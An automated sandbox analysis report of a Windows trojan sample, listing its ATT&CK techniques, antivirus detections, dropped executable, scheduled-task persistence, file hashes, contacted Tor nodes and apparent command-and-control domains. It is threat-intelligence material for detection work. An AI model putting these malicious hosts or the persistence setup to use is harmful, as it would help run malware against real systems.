Valid Accounts	12 Native API	1 Scheduled Task/Job	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	12 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	23 Software Packing	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	12 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Multi-hop Proxy	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Virtualization/Sandbox Evasion	LSA Secrets	11 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Process Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	113 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	1 Proxy	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
i1lq1Qpbyw.exe	75%	Virustotal		Browse
i1lq1Qpbyw.exe	100%	Avira	TR/AD.Coroxy.mcdzy
i1lq1Qpbyw.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\dtkttiw\llfujo.exe	100%	Avira	TR/AD.Coroxy.mcdzy
C:\ProgramData\dtkttiw\llfujo.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.llfujo.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
1.2.llfujo.exe.860e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.i1lq1Qpbyw.exe.860e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.llfujo.exe.400000.0.unpack	100%	Avira	TR/AD.Coroxy.mcdzy	Download File
0.3.i1lq1Qpbyw.exe.880000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.llfujo.exe.870000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.i1lq1Qpbyw.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
0.0.i1lq1Qpbyw.exe.400000.0.unpack	100%	Avira	TR/AD.Coroxy.mcdzy	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://ip4.seeip.org/	0%	URL Reputation	safe
http://24.53.51.144/tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3	0%	Avira URL Cloud	safe
http://24.53.51.144/tor/server/fp/32364bef873944be481e8bcc7fae9297f5f39781	0%	Avira URL Cloud	safe
http://24.53.51.144/tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918	0%	Avira URL Cloud	safe
http://24.53.51.144/tor/server/fp/3239007ce1fb2ecdfdf2067df23b949295dc5ef6	0%	Avira URL Cloud	safe
winstationsocks.com	0%	Avira URL Cloud	safe
http://24.53.51.144/tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd	0%	Avira URL Cloud	safe
http://128.31.0.39/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
https://quetzalcoatl-relays.org/#support-us	0%	Avira URL Cloud	safe
http://116.203.195.42/tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3	0%	Avira URL Cloud	safe
https://quetzalcoatl-relays.org	0%	Avira URL Cloud	safe
http://116.203.195.42/tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918	0%	Avira URL Cloud	safe
http://24.53.51.144/tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a	0%	Avira URL Cloud	safe
winstationsocks.xyz	0%	Avira URL Cloud	safe
http://116.203.195.42/tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a	0%	Avira URL Cloud	safe
http://116.203.195.42/tor/server/fp/03000eddfeb7db6a4171d09d2df028ada6b27dee	0%	Avira URL Cloud	safe
http://176.58.110.66/tor/server/fp/267ee437f0c28e8d0b5ddd5e0daeafc9bf0fe505	0%	Avira URL Cloud	safe
https://www.digidow.eu/onion-stats/	0%	Avira URL Cloud	safe
https://386bsd.net	0%	Avira URL Cloud	safe
http://62.35.195.87/tor/server/fp/00c2b794f74b8759d26786ee363009c9c59088f5	0%	Avira URL Cloud	safe
http://116.203.195.42/tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api4.ipify.org	64.185.227.155	true	false	high
winstationsocks.xyz	unknown	unknown	true	unknown
api.ipify.org	unknown	unknown	false	high
winstationsocks.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://128.31.0.39/tor/status-vote/current/consensus	true	Avira URL Cloud: malware	unknown
http://24.53.51.144/tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3	false	Avira URL Cloud: safe	unknown
http://24.53.51.144/tor/server/fp/32364bef873944be481e8bcc7fae9297f5f39781	false	Avira URL Cloud: safe	unknown
winstationsocks.com	true	Avira URL Cloud: safe	unknown
http://24.53.51.144/tor/server/fp/3239007ce1fb2ecdfdf2067df23b949295dc5ef6	false	Avira URL Cloud: safe	unknown
http://24.53.51.144/tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918	false	Avira URL Cloud: safe	unknown
http://24.53.51.144/tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd	false	Avira URL Cloud: safe	unknown
http://116.203.195.42/tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3	false	Avira URL Cloud: safe	unknown
http://24.53.51.144/tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a	false	Avira URL Cloud: safe	unknown
http://116.203.195.42/tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918	false	Avira URL Cloud: safe	unknown
http://62.35.195.87/tor/server/fp/00c2b794f74b8759d26786ee363009c9c59088f5	false	Avira URL Cloud: safe	unknown
winstationsocks.xyz	true	Avira URL Cloud: safe	unknown
http://116.203.195.42/tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a	false	Avira URL Cloud: safe	unknown
http://116.203.195.42/tor/server/fp/03000eddfeb7db6a4171d09d2df028ada6b27dee	false	Avira URL Cloud: safe	unknown
http://176.58.110.66/tor/server/fp/267ee437f0c28e8d0b5ddd5e0daeafc9bf0fe505	false	Avira URL Cloud: safe	unknown
http://116.203.195.42/tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab	false	Avira URL Cloud: safe	unknown
http://131.188.40.189/tor/status-vote/current/consensus	false		unknown
http://24.53.51.144/tor/server/fp/5756d9c403d89b79afe69d50bb0682ba318319fb	false		unknown
http://24.53.51.144/tor/server/fp/32361a1efdf684daedc8ca64843767a395f9eace	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ip4.seeip.org/	i1lq1Qpbyw.exe, i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/https://ip4.seeip.org/runasMicrosoft	i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	false		high
https://quetzalcoatl-relays.org/#support-us	llfujo.exe, 00000001.00000003.490135021.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://quetzalcoatl-relays.org	llfujo.exe, 00000001.00000003.490135021.00000000008C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://386bsd.net	llfujo.exe, 00000001.00000003.327642965.0000000001EC0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318587657.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.329491271.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.319529695.0000000001DE0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.326612747.0000000002020000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318365510.0000000001460000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.320254734.0000000001DD0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569369903.0000000000C80000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.342655337.0000000001F50000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569416802.0000000000CE0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.326200007.0000000001E90000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.334530849.0000000001F20000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000002.570365260.0000000000C80000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.325628404.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318557488.0000000001480000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318110141.0000000001400000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.323721618.0000000001F60000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318814888.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569208260.0000000000CF0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.319771879.0000000001DA0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569158116.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.digidow.eu/onion-stats/	llfujo.exe, 00000001.00000003.391152671.0000000001330000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.392219387.00000000014A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.78.100.35	unknown	Austria	1205	JKU-LINZ-ASUniversityLinzAT	false
2.59.235.35	unknown	Spain	209835	AVANZAFIBRAES	false
116.203.195.42	unknown	Germany	24940	HETZNER-ASDE	false
176.58.110.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	false
51.75.32.31	unknown	France	16276	OVHFR	false
75.194.52.84	unknown	United States	6167	CELLCO-PARTUS	false
185.220.101.173	unknown	Germany	208294	ASMKNL	false
192.9.235.157	unknown	United States	36224	HCLTA94085US	false
62.35.195.87	unknown	France	5410	BOUYGTEL-ISPFR	false
24.53.51.144	unknown	Canada	5769	VIDEOTRONCA	false
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
64.185.227.155	api4.ipify.org	United States	18450	WEBNXUS	false
128.31.0.39	unknown	United States	3	MIT-GATEWAYSUS	false
173.231.16.76	unknown	United States	18450	WEBNXUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	802198
Start date and time:	2023-02-09 00:58:52 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	i1lq1Qpbyw.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/3@6/14
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 28.2% (good quality ratio 28.2%) Quality average: 79.1% Quality standard deviation: 21.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 21 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:59:51	API Interceptor	2x Sleep call for process: i1lq1Qpbyw.exe modified
00:59:54	Task Scheduler	Run new task: llfujo path: C:\ProgramData\dtkttiw\llfujo.exe s>start
00:59:55	API Interceptor	1x Sleep call for process: llfujo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
24.53.51.144	iSyDaCjFVY.exe	Get hash	malicious	Browse	24.53.51.144/tor/server/fp/83697b4f9ea8401da99e57e2120746f396047aa3
131.188.40.189	iSyDaCjFVY.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	p9CvI6kq7d.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	SPXp2YHDFz.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	SPXp2YHDFz.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	ILI1MGzcig.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	lwRhzjuYIg.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	qO7zg5QKAX.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	OVrJ9mtD6Y.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	ozJy5Zf5cf.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	8TTLURnXhM.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	fK5LTFDKXC.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	kecFPnbu5K.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	PsNZLytUyV.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	XtW3COOOIB.exe	Get hash	malicious	Browse	131.188.40.189:443/tor/server/fp/8d62c3dc2aade43324329a5f5ffd97710234dd0b+8d77b4297a8c4d0677168de3d99674e5921a750b+8d79f73dcd91fc4f5017422fac70074d6db8dd81.z
	unpacked.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	6729001591617.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	56HTe9n3fI.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	uooJsVQqwu.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	ggRIRgK2tr.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus
	NNrUb9Avaw.exe	Get hash	malicious	Browse	131.188.40.189/tor/status-vote/current/consensus

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api4.ipify.org	Company Profile.exe	Get hash	malicious	Browse	173.231.16.76
	statement of accounts.exe	Get hash	malicious	Browse	104.237.62.211
	AA31Hie7Xl.exe	Get hash	malicious	Browse	104.237.62.211
	PagoFactu.vbs	Get hash	malicious	Browse	64.185.227.155
	https://sagalogisticsllc.com/	Get hash	malicious	Browse	104.237.62.211
	file.exe	Get hash	malicious	Browse	173.231.16.76
	https://app.adjust.com/jsr?url=https%3A%2F%2F5ey6.adj.st%2Fma%3Fadj_t%3D7uo0yhw_noxp9gn%26adj_deep_link%3Djumiafood%253A%252F%252Fma%26adj_redirect%3Dhttps://dezignanddezign.com/&c=E,1,BESNL-ZQvrdiBQHYe7RjFseOEKlmmQGaDF3ThNORJudM6SeJjKymt-Ekvln31O3h-fj2foKQpjJQufvzrO6PANrCfNXD9thQbwiNk6Kl396fkOi8tVMeSA,,&typo=1	Get hash	malicious	Browse	64.185.227.155
	https://app.adjust.com/jsr?url=https%3A%2F%2F5ey6.adj.st%2Fma%3Fadj_t%3D7uo0yhw_noxp9gn%26adj_deep_link%3Djumiafood%253A%252F%252Fma%26adj_redirect%3Dhttps://dezignanddezign.com/&c=E,1,BESNL-ZQvrdiBQHYe7RjFseOEKlmmQGaDF3ThNORJudM6SeJjKymt-Ekvln31O3h-fj2foKQpjJQufvzrO6PANrCfNXD9thQbwiNk6Kl396fkOi8tVMeSA,,&typo=1	Get hash	malicious	Browse	64.185.227.155
	EFT INV#-9400543 Payment Processed02.08.2023.htm	Get hash	malicious	Browse	104.237.62.211
	Docs.exe	Get hash	malicious	Browse	173.231.16.76
	AWB NO. 1456977583.exe	Get hash	malicious	Browse	64.185.227.155
	file.exe	Get hash	malicious	Browse	64.185.227.155
	#INV0903294 (1).html	Get hash	malicious	Browse	104.237.62.211
	New Order.exe	Get hash	malicious	Browse	173.231.16.76
	Company Profile PDF.exe	Get hash	malicious	Browse	173.231.16.76
	IV22200102 08-02-2023.exe	Get hash	malicious	Browse	64.185.227.155
	Original Shipping documents.exe	Get hash	malicious	Browse	64.185.227.155
	Accessories Required.pdf.exe	Get hash	malicious	Browse	104.237.62.211
	GE4lATqVtI.exe	Get hash	malicious	Browse	64.185.227.155
	AWB NO. 1456977583.exe	Get hash	malicious	Browse	173.231.16.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
JKU-LINZ-ASUniversityLinzAT	12OMRfKxvu.elf	Get hash	malicious	Browse	140.78.114.195
	AEw7X4t0SR	Get hash	malicious	Browse	140.78.202.130
	VbmyaJM8W1.dll	Get hash	malicious	Browse	140.78.225.236
	sprGMqiJt9.exe	Get hash	malicious	Browse	140.78.100.19
	document_excel.exe	Get hash	malicious	Browse	140.78.3.83
	uwEaSatoME	Get hash	malicious	Browse	140.78.202.145
	68U0QXnd7X	Get hash	malicious	Browse	140.78.114.179
	mips-20220401-2259	Get hash	malicious	Browse	140.78.249.169
	data.exe	Get hash	malicious	Browse	140.78.3.68
	file.log.exe	Get hash	malicious	Browse	140.78.3.68
	lwRhzjuYIg.exe	Get hash	malicious	Browse	140.78.100.24
	data.log.exe	Get hash	malicious	Browse	140.78.3.68
	Update-KB5058-x86.exe	Get hash	malicious	Browse	140.78.3.68
	file.txt.exe	Get hash	malicious	Browse	140.78.3.68
	Update-KB250-x86.exe	Get hash	malicious	Browse	140.78.3.68
	Update-KB2984-x86.exe	Get hash	malicious	Browse	140.78.3.68
	doc.msg.exe	Get hash	malicious	Browse	140.78.3.68
	arm7	Get hash	malicious	Browse	140.78.21.184
	TZaEkR9qXI	Get hash	malicious	Browse	140.78.202.128
	test.msg.exe	Get hash	malicious	Browse	140.78.3.68

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Company Profile.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	statement of accounts.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	file.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	AA31Hie7Xl.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	Vmai1864 #U23ee#Ufe0f #U25b6#Ufe0f #U23ed#Ufe0f 02min08secs__1pm.html	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	C2D5kw4PZc.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	Articolo nuovo ordine.vbs	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	PagoFactu.vbs	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	https://formaloo.net/8ktfp	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	file.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	apple.png.jpg.dll	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	agreement (2).one	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	file.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	Docs.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	AWB NO. 1456977583.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	file.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	MT CHEMITEC V2302 - AGENT APPOINTMENT.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	New Order.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	Company Profile PDF.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76
	IV22200102 08-02-2023.exe	Get hash	malicious	Browse	64.185.227.155 173.231.16.76

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\dtkttiw\llfujo.exe

Download File

Process:	C:\Users\user\Desktop\i1lq1Qpbyw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	117248
Entropy (8bit):	6.0375051245824265
Encrypted:	false
SSDEEP:	1536:hGFLBB4S2zN22dyPPVHbPa3bjCY0X+9hGUhW5jSVM3JdT4AFuxbUS:hGFLBb2o+3CXXE1W520JdMAFuxbU
MD5:	40753D4F4BA5863BE3AAAA38CD50995A
SHA1:	CB58F6A57ECD27E7380E0F38DEDB621D7D161E19
SHA-256:	23F66ECE38393F81FC1F892C9243CEBB6E5412B95629CC07FA83065F5B5A3E02
SHA-512:	7A458E629B22A0D62B9B34DF9E04E40ECA88EBC8F4067F42F83A0A1D6812CF56635C3D17C48B5EF97EA900C439AB30D32C5307CE6BFEE7842B2202E3E1A831AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L....CL\.....................TD......%............@..........................@E.....(...........................................(.....D.(...........................@................................................................................text............................... ..`.data...\|.C......:..................@....rsrc...(.....D......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\dtkttiw\llfujo.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\i1lq1Qpbyw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\llfujo.job

Download File

Process:	C:\Users\user\Desktop\i1lq1Qpbyw.exe
File Type:	data
Category:	modified
Size (bytes):	268
Entropy (8bit):	3.5447351084031506
Encrypted:	false
SSDEEP:	6:BUF95+/80e/9bhEZOhZA6toADCzcF/v5t/uy0leslFP1:BUF+S/9b1fN+zcFaVdt
MD5:	0A5C1D428627C83AD30957284BCB6638
SHA1:	A10A8A629AB5BC4EEBC51CA2FC56C84BB493B1C8
SHA-256:	449960EBCDE7427BB627E8437046DFB9BB1FDBDD4A602ED42C02369BE3CC6BF8
SHA-512:	488873629EC78CED38C57E93CB9EF8E81DFE566DBE556644665617D5B660096A3EF998B3F2E1ECC1A31023965BBE9162ECBDF02974D989DB352385133E463AF6
Malicious:	false
Reputation:	low
Preview:	.....m.uQ.G.2]c..H.F.......<... .....\.........."....................".C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.d.t.k.t.t.i.w.\.l.l.f.u.j.o...e.x.e.....s.t.a.r.t.......D.E.S.K.T.O.P.-.7.1.6.T.7.7.1.\.a.l.f.o.n.s...................0.........K.....................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.0375051245824265
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	i1lq1Qpbyw.exe
File size:	117248
MD5:	40753d4f4ba5863be3aaaa38cd50995a
SHA1:	cb58f6a57ecd27e7380e0f38dedb621d7d161e19
SHA256:	23f66ece38393f81fc1f892c9243cebb6e5412b95629cc07fa83065f5b5a3e02
SHA512:	7a458e629b22a0d62b9b34df9e04e40eca88ebc8f4067f42f83a0a1d6812cf56635c3d17c48b5ef97ea900c439ab30d32c5307ce6bfee7842b2202e3e1a831ad
SSDEEP:	1536:hGFLBB4S2zN22dyPPVHbPa3bjCY0X+9hGUhW5jSVM3JdT4AFuxbUS:hGFLBb2o+3CXXE1W520JdMAFuxbU
TLSH:	A3B39E10FAF0D833C56648309875C2E1563BBC166E344A8737993B5F7E322E296BB356
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L....CL\...................

File Icon


Icon Hash:	f0cc868a8ac6f868

Static PE Info

General

Entrypoint:	0x402599
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C4C4310 [Sat Jan 26 11:22:56 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	4903e7286931f23a5a1a98693f43817a

Entrypoint Preview

Instruction
call 00007F610CDAC873h
jmp 00007F610CDAAE5Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004137B8h], eax
mov dword ptr [004137B4h], ecx
mov dword ptr [004137B0h], edx
mov dword ptr [004137ACh], ebx
mov dword ptr [004137A8h], esi
mov dword ptr [004137A4h], edi
mov word ptr [004137D0h], ss
mov word ptr [004137C4h], cs
mov word ptr [004137A0h], ds
mov word ptr [0041379Ch], es
mov word ptr [00413798h], fs
mov word ptr [00413794h], gs
pushfd
pop dword ptr [004137C8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004137BCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004137C0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004137CCh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00413708h], 00010001h
mov eax, dword ptr [004137C0h]
mov dword ptr [004136BCh], eax
mov dword ptr [004136B0h], C0000409h
mov dword ptr [004136B4h], 00000001h
mov eax, dword ptr [00411004h]
mov dword ptr [ebp-00000328h], eax
